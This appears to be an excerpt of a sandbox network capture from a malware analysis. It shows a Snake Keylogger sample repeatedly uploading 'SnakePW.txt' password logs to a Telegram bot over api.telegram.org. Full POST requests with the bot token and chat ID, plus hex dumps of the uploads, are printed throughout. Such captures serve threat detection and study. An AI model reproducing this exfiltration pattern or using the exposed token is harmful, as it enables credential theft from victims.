2022-06-26 07:34:38 UTC	469	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 62 62 38 64 36 61 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571bb8d6a7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:38 UTC	470	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:38 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:38 UTC	470	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67064,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228878,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.5	50213	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:38 UTC	471	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571befac4e Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:38 UTC	471	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 62 65 66 61 63 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571befac4eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:38 UTC	471	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:38 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:38 UTC	472	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67065,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228878,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49796	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:49 UTC	47	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756db162a23 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:49 UTC	47	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 62 31 36 32 61 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756db162a23Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:50 UTC	48	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:50 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:50 UTC	48	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66775,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228770,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.5	50214	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:38 UTC	472	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571c2b47ee Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:38 UTC	473	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 63 32 62 34 37 65 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571c2b47eeContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:39 UTC	473	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:39 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:39 UTC	474	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67067,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228879,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.5	50215	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:39 UTC	474	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571c6947c9 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:39 UTC	474	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 63 36 39 34 37 63 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571c6947c9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:39 UTC	475	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:39 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:39 UTC	475	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67068,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228879,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.5	50216	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:39 UTC	476	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571ca7423b Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:39 UTC	476	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 63 61 37 34 32 33 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571ca7423bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:40 UTC	477	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:40 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:40 UTC	477	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67069,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228880,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.5	50217	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:40 UTC	477	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571ce2db9d Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:40 UTC	478	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 63 65 32 64 62 39 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571ce2db9dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:40 UTC	478	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:40 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:40 UTC	479	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67070,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228880,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.5	50218	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:40 UTC	479	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571d19b236 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:40 UTC	479	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 64 31 39 62 32 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571d19b236Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
